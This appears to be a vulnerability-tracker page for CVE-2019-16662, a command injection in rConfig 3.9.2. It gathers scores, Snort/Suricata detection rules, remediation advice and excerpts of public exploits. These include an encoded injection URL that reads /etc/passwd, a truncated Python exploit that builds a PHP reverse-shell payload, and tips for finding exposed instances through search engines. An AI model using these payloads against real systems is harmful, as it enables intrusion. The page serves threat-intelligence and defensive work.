CVE-2019-16662
published 2019-10-28CVE-2019-16662: An issue was discovered in rConfig 3.9.2. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the…
PriorityP191critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
97.70%
99.9th percentile
An issue was discovered in rConfig 3.9.2. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| rconfig | rconfig | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23↗
snort
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Possible rConfig 3.9.2 Remote Code Execution PoC M1 (CVE-2019-16662)"; flow:established,to_server; http.uri.raw; content:"/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b"; nocase; fast_pattern; reference:url,packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html; reference:cve,2019-16662; classtype:attempted-admin; sid:2028933; rev:4; metadata:affected_product Web_Server_Applications, attack_target Server, created_at 2019_11_04, cve CVE_2019_16662, deployment Perimeter, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2021_07_26, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
- →Detect GET requests to /install/lib/ajaxHandlers/ajaxServerSettingsChk.php with a URL-encoded semicolon (%3b) in the rootUname parameter, indicating command injection attempt.
- →The presence of the /install/ directory on a production rConfig instance is a prerequisite for exploitation; its existence should be treated as a misconfiguration indicator and monitored for access. ↗
- →Successful exploitation response body will contain /etc/passwd content matching 'root:.*:0:0:'; monitor HTTP responses from ajaxServerSettingsChk.php for this pattern.
- →The exploit checks for HTTP 200 on the /install path before proceeding; a 404 indicates the install directory has been removed and the target is not vulnerable. ↗
- →Use Shodan/FOFA/Google dorks to identify exposed rConfig instances: shodan-query 'http.title:"rconfig"', fofa-query 'title="rconfig"', google-query 'intitle:"rconfig"'.
- ·The vulnerability is unauthenticated and exploitable only when the /install/ directory remains present post-installation. Removing this directory eliminates the attack surface. ↗
- ·The Metasploit module defaults to SSL (RPORT 443); detection rules should cover both HTTP (80) and HTTPS (443) traffic. ↗
- ·The Metasploit module bad characters for payload are null byte, newline, carriage return, and ampersand; payloads delivered via rootUname will avoid these characters. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-qcxg-gw47-6c75: An issue was discovered in rConfig 3
ghsa_unreviewed·2022-05-24
CVE-2019-16662 [CRITICAL] CWE-78 GHSA-qcxg-gw47-6c75: An issue was discovered in rConfig 3
An issue was discovered in rConfig 3.9.2. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
VulnCheck
rConfig rConfig Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
vulncheck·2019·CVSS 9.8
CVE-2019-16662 [CRITICAL] rConfig rConfig Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
rConfig rConfig Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
An issue was discovered in rConfig 3.9.2. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
Affected: rConfig rConfig
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.f5.com/labs/articles/threat-intelligence/vulnerabilities-exploits-and-malware-driving-attack-campaigns-in-november-2019; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-11
Suricata
ET EXPLOIT Possible rConfig 3.9.2 Remote Code Execution PoC M1 (CVE-2019-16662)
suricata·2019-11-04·CVSS 9.8
CVE-2019-16662 [CRITICAL] ET EXPLOIT Possible rConfig 3.9.2 Remote Code Execution PoC M1 (CVE-2019-16662)
ET EXPLOIT Possible rConfig 3.9.2 Remote Code Execution PoC M1 (CVE-2019-16662)
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Possible rConfig 3.9.2 Remote Code Execution PoC M1 (CVE-2019-16662)"; flow:established,to_server; http.uri.raw; content:"/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b"; nocase; fast_pattern; reference:url,packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html; reference:cve,2019-16662; classtype:attempted-admin; sid:2028933; rev:4; metadata:affected_product Web_Server_Applications, attack_target Server, created_at 2019_11_04, cve CVE_2019_16662, deployment Perimeter, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2021_07_26, mitre_tactic_
Exploit-DB
rConfig - install Command Execution (Metasploit)
exploitdb·2019-11-08
CVE-2019-16662 rConfig - install Command Execution (Metasploit)
rConfig - install Command Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'rConfig install Command Execution',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability
in rConfig versions 3.9.2 and prior. The `install` directory is not
automatically removed after installation, allowing unauthenticated users
to execute arbitrary commands via the `ajaxServerSettingsChk.php` file
as the web server user.
This module has been tested successfully on rConfig version 3.9.2 on
CentOS 7.7.1908 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'mhaskar', # Discovery and exploit
'bcoles' # Metasploit
],
'References' =>
[
['C
Exploit-DB
rConfig 3.9.2 - Remote Code Execution
exploitdb·2019-10-29·CVSS 9.8
CVE-2019-16662 [CRITICAL] rConfig 3.9.2 - Remote Code Execution
rConfig 3.9.2 - Remote Code Execution
---
# Exploit Title: rConfig 3.9.2 - Remote Code Execution
# Date: 2019-09-18
# Exploit Author: Askar
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
# CVE : CVE-2019-16662
#!/usr/bin/python
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit()
target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i &3 2>&3");'#'''.format(ip, port))
install_path = target + "/install"
Metasploit
rConfig install Command Execution
metasploit
rConfig install Command Execution
rConfig install Command Execution
This module exploits an unauthenticated command injection vulnerability in rConfig versions 3.9.2 and prior. The `install` directory is not automatically removed after installation, allowing unauthenticated users to execute arbitrary commands via the `ajaxServerSettingsChk.php` file as the web server user. This module has been tested successfully on rConfig version 3.9.2 on CentOS 7.7.1908 (x64).
Nuclei
rConfig 3.9.2 - Remote Code Execution
nuclei·CVSS 9.8
CVE-2019-16662 [CRITICAL] rConfig 3.9.2 - Remote Code Execution
rConfig 3.9.2 - Remote Code Execution
rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
Template:
id: CVE-2019-16662
info:
name: rConfig 3.9.2 - Remote Code Execution
author: pikpikcu
severity: critical
description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
impact: |
Successful exploitation of this vu
Checkpoint
4th November – Threat Intelligence Bulletin
blogs_checkpoint·2019-11-04
CVE-2019-16662 4th November – Threat Intelligence Bulletin
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 4th November – Threat Intelligence Bulletin
For the latest discoveries in cyber research for the week of 4th November 2019, please download our Threat Intelligence Bulletin .
Top attacks AND breaches
India’s nuclear power plant has been hit by a cyber-attack after malware designed for data extraction was identified in one of its systems. The malware, linked by experts to the North-Korean group Lazarus, infected a computer in the plant’s external network, rather than the operational one.
Check Point SandBlast p
Greynoiseio
NoiseLetter
blogs_greynoiseio
NoiseLetter
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.htmlhttps://drive.google.com/file/d/1bTpTn4-alJ8qGCEATLq-oVM6HbhE65iY/view?usp=sharinghttps://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnuhttps://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902ehttps://rconfig.com/downloadhttps://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.htmlhttps://drive.google.com/file/d/1bTpTn4-alJ8qGCEATLq-oVM6HbhE65iY/view?usp=sharinghttps://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnuhttps://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902ehttps://rconfig.com/downloadhttps://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
2019-10-28
Published
Exploited in the wild